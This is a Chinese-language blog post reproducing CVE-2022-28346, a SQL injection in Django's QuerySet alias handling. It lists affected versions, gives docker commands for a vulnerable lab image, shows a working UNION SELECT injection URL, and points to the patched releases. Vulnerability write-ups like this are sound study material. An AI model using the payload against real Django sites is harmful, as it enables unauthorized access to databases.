当前位置:网站首页>CVE-2022-28346:Django SQL注入漏洞
CVE-2022-28346:Django SQL注入漏洞
2022-07-07 22:52:00 【yggcwhat】
0x01 简介
Django 是用 Python 开发的一个免费开源的 Web 框架,几乎囊括了 Web 应用的方方面面,可以用于快速搭建高性能、优雅的网站,Django 提供了许多网站后台开发经常用到的模块,使开发者能够专注于业务部分。
0x02 漏洞概述
漏洞编号:CVE-2022-28346
攻击者使用精心编制的字典, 通过**kwargs传递给QuerySet.annotate()、aggregate()和extra()这些方法,可导致这些方法在列别名中受到SQL注入攻击。
0x03 影响版本
4.0 <= Django < 4.0.4
3.2 <= Django < 3.2.13
2.2 <= Django < 2.2.28
0x04 环境搭建
docker pull s0cke3t/cve-2022-28346:latestdocker run -d -p 8080:8000 s0cke3t/cve-2022-28346
0x05 漏洞复现
通过报错页面可以发现存在哪些接口

访问接口如果存在传参,同样会提示报错信息

使用报错提示的参数进行sql注入
http://x.x.x.x:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --

0x06 修复方式
官方已发布安全版本,下载地址:
https://www.djangoproject.com/download/
边栏推荐
- Database query - what is the highest data?
- Development of a horse tourism website (realization of login, registration and exit function)
- Service Mesh介绍,Istio概述
- The underlying principles and templates of new and delete
- SDNU_ACM_ICPC_2022_Summer_Practice(1~2)
- An error is reported during the process of setting up ADG. Rman-03009 ora-03113
- [basis of recommendation system] sampling and construction of positive and negative samples
- 接口测试进阶接口脚本使用—apipost(预/后执行脚本)
- 赞!idea 如何单窗口打开多个项目?
- Solution to prompt configure: error: curses library not found when configuring and installing crosstool ng tool
猜你喜欢

The underlying principles and templates of new and delete

An error is reported during the process of setting up ADG. Rman-03009 ora-03113

Langchao Yunxi distributed database tracing (II) -- source code analysis

Zhou Hongqi, 52 ans, est - il encore jeune?

3年经验,面试测试岗20K都拿不到了吗?这么坑?

爬虫实战(八):爬表情包

深潜Kotlin协程(二十二):Flow的处理

大数据开源项目,一站式全自动化全生命周期运维管家ChengYing(承影)走向何方?

SDNU_ACM_ICPC_2022_Summer_Practice(1~2)

52歲的周鴻禕,還年輕嗎?
随机推荐
Deep dive kotlin collaboration (the end of 23): sharedflow and stateflow
Is it safe to open an account on the official website of Huatai Securities?
ReentrantLock 公平锁源码 第0篇
Relevant methods of sorting arrays in JS (if you want to understand arrays, it's enough to read this article)
Two small problems in creating user registration interface
Single machine high concurrency model design
去了字节跳动,才知道年薪 40w 的测试工程师有这么多?
Lecture 1: the entry node of the link in the linked list
What is load balancing? How does DNS achieve load balancing?
手写一个模拟的ReentrantLock
RPA云电脑,让RPA开箱即用算力无限?
爬虫实战(八):爬表情包
炒股开户怎么最方便,手机上开户安全吗
腾讯安全发布《BOT管理白皮书》|解读BOT攻击,探索防护之道
"An excellent programmer is worth five ordinary programmers", and the gap lies in these seven key points
1293_FreeRTOS中xTaskResumeAll()接口的实现分析
Reentrantlock fair lock source code Chapter 0
智慧监管入场,美团等互联网服务平台何去何从
The method of server defense against DDoS, Hangzhou advanced anti DDoS IP section 103.219.39 x
《因果性Causality》教程,哥本哈根大学Jonas Peters讲授